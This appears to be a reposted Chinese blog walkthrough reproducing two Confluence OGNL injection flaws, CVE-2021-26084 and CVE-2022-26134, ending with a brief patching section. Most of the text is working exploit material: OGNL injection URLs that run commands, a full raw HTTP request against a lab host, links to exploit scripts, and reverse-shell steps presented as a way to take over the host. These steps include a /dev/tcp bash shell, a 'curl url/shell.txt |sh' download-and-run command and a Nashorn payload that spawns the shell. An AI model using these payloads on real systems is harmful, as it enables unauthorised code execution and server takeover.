confluence的几个高危漏洞复现

Posted fly夏天

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了confluence的几个高危漏洞复现相关的知识,希望对你有一定的参考价值。

序言

本次复现涉及了好几个confluence的相关漏洞,从复现利用到提权,有兴趣的可以自行搭建环境测试。

1.CVE-2021-26084 Confluence OGNL 注入漏洞

1.1 漏洞描述

在某些情况下,远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,通过构造恶意数据执行 OGNL 表达式进行注入攻击,实现在 Confluence Server 或 Data Center 上执行任意代码,最终控制服务器。

1.2 漏洞版本

Confluence Server & Confluence Data Center < 6.13.23      6.13.23

Confluence Server & Confluence Data Center < 7.11.6        7.11.6

Confluence Server & Confluence Data Center < 7.12.5        7.12.5

Confluence Server & Confluence Data Center < 7.4.11        7.4.11

1.3 漏洞复现

一般情况下,confluence会在登录页直接显示当前版本,所以我们可以访问url/login.action这个页面查看版本。
漏洞利用脚本可以参考 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
后面的演示会通过这个脚本来执行,执行python CVE-2021-26084.py -u url
,如果漏洞存在就可以执行命令了。我们尝试一下whoami
可以看到漏洞就被成功执行了,至此这个漏洞的基本复现就完成了, 接下来我们来尝试提权。

1.4 获取主机权限

一般情况下 我们可以直接通过反弹shell的方式来获取主机权限

bash -i >& /dev/tcp/ip/port 0>&1

但是confluence的命令执行 部分字符会被url转义,所以直接在控制台反弹shell会直接报错
我们可以通过远程执行文件内容的方式来反弹shell

curl url/shell.txt |sh

其中,shell.txt为自己服务器上的一个文件,内容就是上文中的反弹时shell,直接执行这个操作,就能正常的反弹shell了。

2.CVE-2022-26134

2.1 漏洞描述

远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。

2.2 漏洞版本

Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1

2.3 漏洞复现

构造请求

/$(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))/

其中exec中的内容为需要执行的命令,结果会返回在header的X-Cmd-Response中
至此漏洞利用成功

2.4 提权

构造

/$new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/ip/port 0>&1').start()")/

即可反弹shell

Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)复现

Confluence介绍

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

漏洞概述

Atlassian Confluence存在远程代码执行漏洞,攻击者可以利用该漏洞直接获取目标系统权限。

2022年6月2日,Atlassian发布安全公告,公布了一个Confluence Server和Data Center中的远程代码执行漏洞。

漏洞编号:CVE-2022-26134

漏洞威胁等级:严重

版本范围:

Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1

漏洞评估及状态

公开程度:已发现在野利用

漏洞POC:已知

漏洞EXP:存在

利用条件:无

漏洞危害:高危 任意代码执行

漏洞复现

搭建环境:
atlassian下载地址

https://www.atlassian.com/zh/software/confluence/download-archives

这里选择7.4.4版本

安装

安装完成

利用脚本进行命令执行

脚本地址
https://github.com/Nwqda/CVE-2022-26134


执行ls命令

手动复现

测试poc

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

POC数据包

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.232.130:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close

命令的结果将反映在X-Cmd-Response响应头中的参数中
id
$(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))/

ls
$(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“ls”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))/

修复方案

1、升级最新版本:

官方已发布最新版本,建议用户升级Confluence到官方最新版本 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1,以保证服务的安全性及稳定性。

下载地址:https://www.atlassian.com/software/confluence/download-archives

2、临时缓解方案:

如无法立即进行升级,可通过下载Atlassian官方jar包替换的方式作为临时缓解措施,Atlassian根据客户的Confluence版本提供了临时解决方法说明。

参考链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

以上是关于confluence的几个高危漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

预警| Confluence 高危漏洞被大规模利用,阿里云WAF接入即可防护,支持免费应急服务

高危安全通告SaltStack 多个高危漏洞

Web开发常见的几个漏洞解决方法

Atlassian Confluence漏洞复现合集

Struts2-052 漏洞复现

Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)复现